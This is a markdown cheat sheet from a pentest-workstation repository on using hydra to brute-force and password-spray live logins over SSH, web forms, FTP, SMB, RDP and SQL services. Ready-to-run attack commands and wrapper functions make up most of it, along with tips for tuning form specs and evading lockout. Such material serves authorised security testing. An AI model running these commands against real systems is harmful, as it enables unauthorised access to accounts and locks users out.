repositories

NixDaemon

NixOS pentest workstation as one flake — IceBreaker's successor

clonegit clone https://git.daemon-sec.xyz/NixDaemon.git
hydra.mdMarkdown48 lines3.3 KiBrendered raw download
# hydra — online password brute force

Guessing creds against a *live* service (SSH, web login, FTP…). This is the loud,
network-facing cousin of offline hash cracking — for hashes you already looted,
use `cheat cracking` instead. Wrappers default the wordlist to `$ROCKYOU`; the
target to `$TARGET` where noted.

## The wrappers
- **`brute-ssh [ip] <user> [wl]`** — `hydra -l <user> -P <wl> <ip> ssh -t 4`. ip → `$TARGET`, wl → `$ROCKYOU`. `-t 4` throttles to 4 tasks (SSH drops connections above ~4). One user, many passwords.
- **`brute-web <url> <user> [wl] <form-spec>`** — `hydra -l <user> -P <wl> <url> http-post-form "<spec>"`. Everything from arg 4 on is passed straight through as the `http-post-form` spec (below). No default target — pass the host.

## The one grammar
```
hydra -l USER   -P WORDLIST   TARGET   SERVICE   [module-args]
      -L users.txt (list)     ^ip/host  ssh|ftp|http-post-form|…
      -p PASS (single)                  add -s PORT for non-default ports
```
- **`-l` single user** vs **`-L file`** · **`-P` password list** vs **`-p` single**. Spray one password over many users with `-L users.txt -p 'Winter2025!'` (safer on lockout).
- **`-t N`** parallel tasks (lower for fragile services), **`-f`** stop at first hit, **`-V`** show every attempt, **`-s PORT`** non-standard port.
- **`-e nsr`** also try **n**ull, login-as-**s**password, **r**eversed-login.

## http-post-form — the one that trips everyone
Spec is three colon-separated fields: **`path:body:failure-string`**.
```
brute-web http://$TARGET/login admin \
  $ROCKYOU "/login.php:user=^USER^&pass=^PASS^:Invalid credentials"
```
- **`^USER^` / `^PASS^`** get substituted each attempt. Copy the real body from Burp/devtools so field names match exactly.
- Third field: **`F=text`** = string that means *failure* (default). Flip to **`S=text`** to match on *success* (e.g. `S=Location` for a redirect, or `S=Set-Cookie`).
- Extra `:H=Header: val` appends headers (CSRF token, `Content-Type`). GET forms → use `http-get-form`.
- HTTPS → service is **`https-post-form`** (or add `-s 443`).

## Other services (raw hydra)
| Service | Command |
|---|---|
| FTP | `hydra -l user -P $ROCKYOU ftp://$TARGET` |
| SMB | `hydra -l admin -P $ROCKYOU smb://$TARGET` (or prefer `nxc` spray — `cheat nxc`) |
| RDP | `hydra -l admin -P $ROCKYOU rdp://$TARGET -t 1` (single-threaded; locks fast) |
| HTTP basic-auth | `hydra -l user -P $ROCKYOU $TARGET http-get /admin` |
| MySQL / MSSQL | `hydra -l sa -P $ROCKYOU $TARGET mysql` · `… mssql` |
| Kerberos user-enum/spray | not hydra — use `kb-users` (`cheat ad`) or `nxc … --pass-pol` |

## Stay out of trouble
- **Lockout** is the real risk: check the policy first (`nxc-smb $TARGET --pass-pol`) and prefer **password-spraying** (one `-p`, `-L` users, wait between rounds) over per-user brute.
- Trim the list before you fire — full rockyou over the network is slow *and* noisy. Try `-e nsr`, top-100, and known-default creds first.
- **`-o found.txt`** logs hits · **`-R`** resumes a crashed `hydra.restore` session.

> Order: enumerate the exact login request (Burp) → build the `http-post-form` spec with a *known-bad* attempt to nail the failure string → run one user to prove the spec → then widen. Got a hash instead of a login? Wrong tool — `cheat cracking`. Web login flow → `cheat web`.